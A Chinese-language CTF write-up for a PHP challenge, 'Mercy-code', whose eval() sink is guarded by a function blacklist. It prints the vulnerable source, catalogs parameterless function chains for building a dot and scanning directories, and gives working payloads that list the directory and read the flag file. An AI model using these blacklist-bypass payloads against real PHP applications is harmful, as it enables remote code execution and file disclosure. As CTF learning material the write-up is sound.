Mercy-code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
$cmd = $_POST['cmd'];
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
die('What are you thinking?');
} else {
eval($cmd);
}
} else {
die('Please calm down');
}
}

见面就是源码,考点是无参数RCE,本题黑名单如此之多,很多的函数都无法使用,首先要考虑扫目录,scandir是没用被过滤的,关键在于如何生成点.,生成点的方法从网上可以搜集到很多,这里总结一下

数组操作

  • current()- 返回数组中的当前元素的值
  • end()- 将内部指针指向数组中的最后一个元素,并输出
  • next()- 将内部指针指向数组中的下一个元素,并输出
  • prev()- 将内部指针指向数组中的上一个元素,并输出
  • each()- 返回当前元素的键名和键值,并将内部指针向前移动

输出函数

  • print_r()
  • var_dump()
  • echo(implode())(implode可以将数组转化为字符串)

无参数文件读取

localeconv():
localeconv() 函数返回一包含本地数字及货币格式信息的数组。数组第一项就是点号print_r(scandir(pos(localeconv())));,pos是current的别名

phpversion():

  • phpversion() 返回PHP版本,如7.3.5
  • floor(phpversion())返回7
  • sqrt(floor(phpversion()))返回2.6457513110646
  • tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
  • cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
  • sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
  • ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
  • chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回点.
  • var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
  • next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回点点..

crypt():

crypt()返回使用 DES、Blowfish 或 MD5 算法加密的字符串。

  • chr(ord(hebrevc(crypt(phpversion()))))返回点.
  • chr(ord(strrev(crypt(serialize(array())))))返回点.

time():

  • char(time())chr() 函数以256为一个周期,所以 chr(46)、chr(302)、chr(558)等都等于点.所以使用chr(time()) 一个周期必能出现一次。
  • chr(current(localtime(time())))localtime()以数值数组和关联数组的形式输出本地时间,数组第一个值每秒加 1 ,所以最多 60 秒之内就可以得到 46 .然后用 current()函数即可获得 第一位键值。再利用 chr() 函数就可以完美获得 .

uniqid()
uniqid()函数能够生成动态的字符串,但是他的前半部分是固定不变的,但是后半部分是动态变化的,正好strrev()函数也可以使用,那么我们就可以将它反转过来然后直接转换为char,构造任意字符。

  • chr(strrev(uniqid()))获取一个点
  • next(scandir(chr(strrev(uniqid()))))获取两个点

读文件函数

  • show_source()
  • readfile()
  • highlight_file()
  • file_get_contents()
  • readgzfile()
  • file()

最终构造

1
cmd=echo(implode(scandir(chr(strrev(uniqid()))))); 用于读取当前目录

由于这个函数返回的是随机字符串,所以需要进行爆破,随机到点号就可以爆出当前目录
在这里插入图片描述
当前目录有index.php和一个x8dkli-jsikc7-ffllag-xx898a.php
很明显,后者就是flag

1
cmd=show_source(end(scandir(chr(strrev(uniqid()))))); 读取后者

在这里插入图片描述

picture convert

没做出来,等wp出来后学习一下